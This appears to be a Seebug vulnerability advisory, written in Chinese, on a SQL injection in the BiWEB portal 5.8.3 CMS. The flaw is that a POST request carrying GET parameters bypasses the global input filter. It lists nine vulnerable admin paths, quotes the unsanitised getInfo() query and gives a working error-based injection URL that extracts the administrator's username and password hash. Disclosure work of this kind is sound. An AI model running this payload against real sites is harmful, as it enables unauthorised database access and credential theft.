BiWEB最新门户版绕过过滤注入漏洞小礼包

2014-11-24T00:00:00
ID SSV:95311
Type seebug
Reporter Root
Modified 2014-11-24T00:00:00

Description

简要描述:

BiWEB最新门户版绕过过滤注入漏洞小礼包,绕过全局过滤,造成多处可以注入

详细说明:

在wooyun上看到了有人把biweb的shell拿到了: WooYun: BIWEB门户版Getwebshell漏洞 ,也有人提了其他漏洞,我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。 BiWEB对用户输入进行了全局过滤,但是这种过滤方法比较NC,这个漏洞就是来绕过全局过滤的。先来看看这个全局过滤方法吧/config/filtrate.inc.php

<?php //过滤GET或POST的值,去除两端空格和转义符号 if ($_SERVER['REQUEST_METHOD'] == 'POST'){ check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']); }elseif($_SERVER['REQUEST_METHOD'] == 'GET'){ check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']); } ?>

这个过滤方法中,如果是POST方法就只对通过POST提交的用户数据进行过滤,GET方法同理。我们可以这样来绕过这种过滤:REQUEST_METHOD还是POST,但是在url中带入用户数据(GET方法),然后程序中用$_GET数组来获取数据的话,那就可以获得通过url提交的恶意数据,并且没有经过全局过滤,这样就绕过了全局过滤。 在BiWEB中找到了不少可以这样绕过过滤的注入点。

/ask/adminu/modifyinfo.php /company/adminu/modifyinfo.php /exhibition/adminu/modifyinfo.php /job/adminu/modifyinfo.php /links/adminu/modifyinfo.php /news/adminu/modifyinfo.php /product/adminu/modifyinfo.php /trade/adminu/modifyinfo.php /video/adminu/modifyinfo.php

这里以/ask/adminu/modifyinfo.php中的漏洞为例进行说明

无关代码 $objWebInit = new ask(); //数据库连接参数 $objWebInit->setDBG($arrGPdoDB); //smarty参数 $objWebInit->arrGSmarty = $arrGSmarty; //图片上传参数 $objWebInit->arrGPic = $arrGPic; $objWebInit->db(); // 取得文章信息 $arrInfo = $objWebInit->getInfo($_GET['id']); 无关代码

继续去看看getInfo(),在/web_common5.8/php_common.php

function getInfo($intInfoID,$field = '*',$pass=null,$add=false){ if($add) $this->updateClicktimes(" Where id =".$intInfoID); if($pass!=null) $where= " and pass='$pass'"; else $where=''; $strSQL = "SELECT $field FROM $this->tablename2 ". " Where id ='".$intInfoID."'".$where; $rs = $this->db->query($strSQL); $arrData = $rs->fetchall(); if(!empty($arrData[0]['structon_tb'])) $arrData = $this->loadTableFieldG($arrData); return current($arrData); }

可以看出,整个过程中没有其他的过滤,只要可以绕过全局过滤,就可以注入。 如果按正常的情况使用GET提交,单引号被全局过滤编码,如下:

<img src="https://images.seebug.org/upload/201411/222336071ced7eb69083599503e3c743ddc9355c.jpg" alt="正常访问副本.jpg" width="600" onerror="javascript:errimg(this);">

把GET方法改为POST提交,成功引入单引号,如下:

<img src="https://images.seebug.org/upload/201411/22233625b5572892d6555a962f9d3a7bc1ade30b.jpg" alt="单引号被引入副本.jpg" width="600" onerror="javascript:errimg(this);">

以error-based blind 方法来注入,payload如下(用POST方法提交)

/ask/adminu/modifyinfo.php?id=1%27%20or%20%20(select%201%20from%20(select%20count(*),concat(0x23,(select%20concat(user_name,0x23,password,0x23)from%20biweb_user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20or%27

成功注入,管理员用户名及密码如下图中所示:

<img src="https://images.seebug.org/upload/201411/22233643bf236c1f17119941d63ffc86a95d7106.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明:

见 详细说明